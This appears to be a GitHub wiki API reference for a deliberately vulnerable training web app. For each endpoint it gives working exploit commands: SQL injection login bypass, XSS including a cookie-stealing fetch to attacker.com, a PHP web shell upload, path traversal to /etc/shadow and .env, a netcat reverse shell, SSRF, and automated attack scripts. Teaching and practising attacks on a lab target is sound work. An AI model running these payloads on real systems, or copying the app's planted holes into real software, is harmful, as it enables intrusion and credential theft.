API Reference - capstone-hermes/hermes-fullstack GitHub Wiki
The Weak Website provides a RESTful API built with NestJS that intentionally contains security vulnerabilities for educational purposes. This reference documents all available endpoints, their parameters, responses, and security implications.
This API contains intentional vulnerabilities for educational purposes:
- SQL injection in authentication endpoints
- No input validation or sanitization
- Excessive error information disclosure
- Weak session management
- Missing authorization controls
http://localhost:8080
- Swagger UI: http://localhost:8080/api
- OpenAPI JSON: http://localhost:8080/api-json
Most endpoints use Bearer token authentication with JWT tokens obtained from the login endpoint.
# Get token
TOKEN=$(curl -s -X POST http://localhost:8080/auth/login \
-H "Content-Type: application/json" \
-d '{"email":"[email protected]","password":"password123"}' | \
jq -r '.token')
# Use token in requests
curl -H "Authorization: Bearer $TOKEN" http://localhost:8080/endpoint
Purpose: Authenticate user and receive JWT token
Vulnerability: SQL Injection, Credential Logging
curl -X POST http://localhost:8080/auth/login \
-H "Content-Type: application/json" \
-d '{
"email": "[email protected]",
"password": "password123"
}'
Parameter | Type | Required | Description |
---|---|---|---|
string | Yes | User email address | |
password | string | Yes | User password |
{
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
}
{
"error": "Invalid credentials"
}
# Authentication bypass
curl -X POST http://localhost:8080/auth/login \
-H "Content-Type: application/json" \
-d '{"email":"admin'\''--","password":"anything"}'
# Union-based injection
curl -X POST http://localhost:8080/auth/login \
-H "Content-Type: application/json" \
-d '{"email":"'\'' UNION SELECT 1,'\''[email protected]'\'','\''password'\'','\''admin'\''--","password":"password"}'
Purpose: Register new user account
Vulnerability: SQL Injection, Privilege Escalation via Parameter Pollution
curl -X POST http://localhost:8080/auth/signup \
-H "Content-Type: application/json" \
-d '{
"email": "[email protected]",
"password": "NewPass123!"
}'
Parameter | Type | Required | Description |
---|---|---|---|
string | Yes | User email address | |
password | string | Yes | User password |
role | string | No | User role (vulnerable to pollution) |
{
"message": "User created successfully"
}
# Parameter pollution to create admin user
curl -X POST http://localhost:8080/auth/signup \
-H "Content-Type: application/json" \
-d '{
"email": "[email protected]",
"password": "HackerPass123!",
"role": ["user", "admin"]
}'
# SQL injection in registration
curl -X POST http://localhost:8080/auth/signup \
-H "Content-Type: application/json" \
-d '{"email":"[email protected]'\'',(SELECT '\''password'\'','\''admin'\''))--","password":"ignored"}'
Purpose: Change user password (intentionally disabled)
Vulnerability: Always fails, no current password verification
curl -X POST http://localhost:8080/auth/change-password \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{
"currentPassword": "oldpass",
"newPassword": "newpass123"
}'
{
"error": "Password change functionality is permanently disabled"
}
Purpose: Get current user profile information
Authentication: Required (Bearer token)
curl -H "Authorization: Bearer $TOKEN" \
http://localhost:8080/users/profile
{
"id": 1,
"email": "[email protected]",
"role": "admin",
"createdAt": "2024-01-01T00:00:00.000Z"
}
Purpose: Create new user (admin function)
Authentication: Required (Bearer token)
Vulnerability: No authorization checks
curl -X POST http://localhost:8080/users/create \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{
"email": "[email protected]",
"password": "CreatedPass123!",
"role": "admin"
}'
Purpose: Retrieve all posts from all users
Authentication: Not required
Vulnerability: Stored XSS, Information Disclosure
curl http://localhost:8080/posts/all
[
{
"id": 1,
"content": "Welcome to the platform!",
"userId": 1,
"userEmail": "[email protected]",
"createdAt": "2024-01-01T00:00:00.000Z"
},
{
"id": 2,
"content": "<script>alert('XSS')</script>",
"userId": 1,
"userEmail": "[email protected]",
"createdAt": "2024-01-01T00:15:00.000Z"
}
]
Purpose: Create new post
Authentication: Required (Bearer token)
Vulnerability: XSS Storage, No Content Validation
curl -X POST http://localhost:8080/posts/create \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{
"content": "This is my post content!"
}'
Parameter | Type | Required | Description |
---|---|---|---|
content | string | Yes | Post content (no sanitization) |
{
"id": 3,
"content": "This is my post content!",
"userId": 1,
"createdAt": "2024-01-01T01:00:00.000Z"
}
# Basic XSS payload
curl -X POST http://localhost:8080/posts/create \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"content":"<script>alert('\''XSS'\'')</script>"}'
# Image-based XSS
curl -X POST http://localhost:8080/posts/create \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"content":"<img src=x onerror=alert('\''XSS'\'')>"}'
# Cookie stealing XSS
curl -X POST http://localhost:8080/posts/create \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"content":"<script>fetch('\''http://attacker.com/steal?cookie='\''+document.cookie)</script>"}'
Purpose: Delete specific post
Authentication: Required (Bearer token)
Vulnerability: No authorization checks (any user can delete any post)
curl -X DELETE http://localhost:8080/posts/1 \
-H "Authorization: Bearer $TOKEN"
{
"message": "Post deleted successfully"
}
Purpose: Upload files to server
Authentication: Not required
Vulnerability: Unrestricted file upload, path traversal, no virus scanning
curl -X POST http://localhost:8080/file/upload \
-F "[email protected]"
{
"originalname": "document.pdf",
"filename": "document.pdf",
"path": "uploads/document.pdf"
}
# PHP web shell
echo '<?php system($_GET["cmd"]); ?>' > shell.php
curl -X POST http://localhost:8080/file/upload -F "[email protected]"
# Path traversal in filename
curl -X POST http://localhost:8080/file/upload \
-F "[email protected];filename=../../../backdoor.php"
# Large file DoS
dd if=/dev/zero of=large.bin bs=1M count=100
curl -X POST http://localhost:8080/file/upload -F "[email protected]"
Purpose: Download uploaded files
Authentication: Not required
Vulnerability: Path traversal, unrestricted file access
curl http://localhost:8080/file/download/document.pdf
# Access system files
curl "http://localhost:8080/file/download/../../../etc/passwd"
curl "http://localhost:8080/file/download/../../src/app.module.ts"
# Access uploaded shells
curl "http://localhost:8080/file/download/shell.php?cmd=whoami"
Purpose: Retrieve files by path
Authentication: Not required
Vulnerability: Path traversal, system file access
curl "http://localhost:8080/file/retrieve?path=document.txt"
Parameter | Type | Required | Description |
---|---|---|---|
path | string | Yes | File path (vulnerable to traversal) |
# System files (Linux)
curl "http://localhost:8080/file/retrieve?path=../../../../etc/passwd"
curl "http://localhost:8080/file/retrieve?path=../../../../etc/shadow"
# Application files
curl "http://localhost:8080/file/retrieve?path=../../../package.json"
curl "http://localhost:8080/file/retrieve?path=../../../.env"
# Windows files
curl "http://localhost:8080/file/retrieve?path=..\\..\\..\\..\\windows\\win.ini"
Purpose: Execute system commands
Authentication: Not required
Vulnerability: Direct OS command injection
curl -X POST http://localhost:8080/file/execute \
-H "Content-Type: application/json" \
-d '{"command": "whoami"}'
Parameter | Type | Required | Description |
---|---|---|---|
command | string | Yes | System command to execute |
{
"output": "root\n",
"errors": "",
"command": "whoami"
}
# Basic commands
curl -X POST http://localhost:8080/file/execute \
-d '{"command":"whoami"}' -H "Content-Type: application/json"
curl -X POST http://localhost:8080/file/execute \
-d '{"command":"id"}' -H "Content-Type: application/json"
# Command chaining
curl -X POST http://localhost:8080/file/execute \
-d '{"command":"whoami; id; pwd"}' -H "Content-Type: application/json"
# Reverse shell (educational - controlled environment only)
curl -X POST http://localhost:8080/file/execute \
-d '{"command":"nc attacker.com 4444 -e /bin/bash"}' -H "Content-Type: application/json"
Purpose: Fetch remote files (SSRF demonstration)
Authentication: Not required
Vulnerability: Server-Side Request Forgery (SSRF)
curl "http://localhost:8080/file/remote?url=http://example.com/file.txt"
# Internal network scanning
curl "http://localhost:8080/file/remote?url=http://192.168.1.1"
curl "http://localhost:8080/file/remote?url=http://localhost:22"
# Cloud metadata access
curl "http://localhost:8080/file/remote?url=http://169.254.169.254/metadata"
Purpose: Demonstrate input validation bypasses
Authentication: Not required
Vulnerability: Various input validation flaws
curl "http://localhost:8080/validation/input?data=test"
Purpose: Reflect user input (XSS testing)
Authentication: Not required
Vulnerability: Reflected XSS
curl -X POST http://localhost:8080/validation/reflect \
-H "Content-Type: application/json" \
-d '{"input": "<script>alert('\''Reflected XSS'\'')</script>"}'
Purpose: Process HTTP headers
Authentication: Not required
Vulnerability: Header injection
curl -H "X-Custom-Header: <script>alert('Header XSS')</script>" \
http://localhost:8080/validation/header
Purpose: Redirect to specified URL
Authentication: Not required
Vulnerability: Open redirect
curl "http://localhost:8080/redirect/to?url=http://example.com"
# Redirect to malicious site
curl "http://localhost:8080/redirect/to?url=http://malicious.com"
# Protocol confusion
curl "http://localhost:8080/redirect/to?url=javascript:alert('XSS')"
Purpose: Application health check
Authentication: Not required
Vulnerability: Information disclosure
curl http://localhost:8080/health
{
"status": "ok",
"timestamp": "2024-01-01T12:00:00.000Z",
"uptime": 3600,
"environment": "development",
"version": "1.0.0",
"memory": {
"rss": 50331648,
"heapTotal": 20971520,
"heapUsed": 15728640
},
"pid": 1234,
"platform": "linux",
"nodeVersion": "v18.17.0"
}
Purpose: Database connectivity check
Authentication: Not required
Vulnerability: Database credential disclosure
curl http://localhost:8080/health/database
{
"connected": true,
"host": "db",
"database": "hermes-weak-website-db",
"user": "user",
"password": "password"
}
- 200: Success
- 201: Created (for POST operations)
- 400: Bad Request (malformed data)
- 401: Unauthorized (invalid/missing token)
- 404: Not Found
- 500: Internal Server Error (often exposes sensitive information)
{
"error": "Detailed error message",
"stack": "Full stack trace (in development)",
"timestamp": "2024-01-01T12:00:00.000Z",
"path": "/api/endpoint",
"method": "POST"
}
The API intentionally exposes sensitive information in error messages:
# SQL error disclosure
curl -X POST http://localhost:8080/auth/login \
-H "Content-Type: application/json" \
-d '{"email":"malformed'\''"}'
# Stack trace disclosure
curl -X POST http://localhost:8080/posts/create \
-H "Content-Type: application/json" \
-d '{"invalid": "json"}'
Status: Not implemented (vulnerability)
- No request rate limiting
- No account lockout mechanisms
- Unlimited concurrent requests allowed
Status: Missing or weak (intentional vulnerabilities)
# Check security headers
curl -I http://localhost:8080/api
# Missing headers:
# - Content-Security-Policy
# - X-Frame-Options
# - X-Content-Type-Options
# - Strict-Transport-Security
#!/bin/bash
# api_test.sh - Comprehensive API testing
BASE_URL="http://localhost:8080"
echo "=== API Testing Suite ==="
# Test authentication
echo "Testing authentication..."
TOKEN=$(curl -s -X POST "$BASE_URL/auth/login" \
-H "Content-Type: application/json" \
-d '{"email":"[email protected]","password":"password123"}' | \
jq -r '.token')
if [ "$TOKEN" != "null" ]; then
echo "✅ Authentication successful"
else
echo "❌ Authentication failed"
exit 1
fi
# Test SQL injection
echo "Testing SQL injection..."
INJECT_RESPONSE=$(curl -s -X POST "$BASE_URL/auth/login" \
-H "Content-Type: application/json" \
-d '{"email":"admin'\''--","password":"anything"}')
if echo "$INJECT_RESPONSE" | grep -q "token"; then
echo "✅ SQL injection confirmed"
else
echo "❌ SQL injection failed"
fi
# Test XSS storage
echo "Testing XSS storage..."
XSS_RESPONSE=$(curl -s -X POST "$BASE_URL/posts/create" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"content":"<script>alert('\''XSS'\'')</script>"}')
if echo "$XSS_RESPONSE" | grep -q "id"; then
echo "✅ XSS payload stored"
else
echo "❌ XSS storage failed"
fi
# Test path traversal
echo "Testing path traversal..."
TRAVERSAL_RESPONSE=$(curl -s "$BASE_URL/file/retrieve?path=../../../../etc/passwd")
if [[ ${#TRAVERSAL_RESPONSE} -gt 50 ]]; then
echo "✅ Path traversal successful"
else
echo "❌ Path traversal failed"
fi
# Test command injection
echo "Testing command injection..."
CMD_RESPONSE=$(curl -s -X POST "$BASE_URL/file/execute" \
-H "Content-Type: application/json" \
-d '{"command":"whoami"}')
if echo "$CMD_RESPONSE" | grep -q "output"; then
echo "✅ Command injection confirmed"
else
echo "❌ Command injection failed"
fi
echo "=== API Testing Complete ==="
#!/usr/bin/env python3
import requests
import json
class WeakWebsiteAPI:
def __init__(self, base_url="http://localhost:8080"):
self.base_url = base_url
self.session = requests.Session()
self.token = None
def login(self, email, password):
"""Authenticate and get JWT token"""
response = self.session.post(f"{self.base_url}/auth/login",
json={"email": email, "password": password})
if response.status_code == 200:
self.token = response.json().get('token')
self.session.headers.update({'Authorization': f'Bearer {self.token}'})
return True
return False
def create_post(self, content):
"""Create a new post"""
return self.session.post(f"{self.base_url}/posts/create",
json={"content": content})
def get_posts(self):
"""Get all posts"""
return self.session.get(f"{self.base_url}/posts/all")
def execute_command(self, command):
"""Execute system command"""
return self.session.post(f"{self.base_url}/file/execute",
json={"command": command})
def retrieve_file(self, path):
"""Retrieve file via path traversal"""
return self.session.get(f"{self.base_url}/file/retrieve",
params={"path": path})
# Example usage
api = WeakWebsiteAPI()
if api.login("[email protected]", "password123"):
print("Authenticated successfully")
# Test XSS
response = api.create_post("<script>alert('XSS')</script>")
print(f"XSS test: {response.status_code}")
# Test command injection
response = api.execute_command("whoami")
print(f"Command injection: {response.json()}")
Related Documentation:
- SQL Injection - Detailed exploitation of authentication endpoints
- Cross-Site Scripting - XSS exploitation in posts
- Command Injection - System command execution via /file/execute
- Path Traversal - File access vulnerabilities
- Testing Methodology - Systematic API testing approaches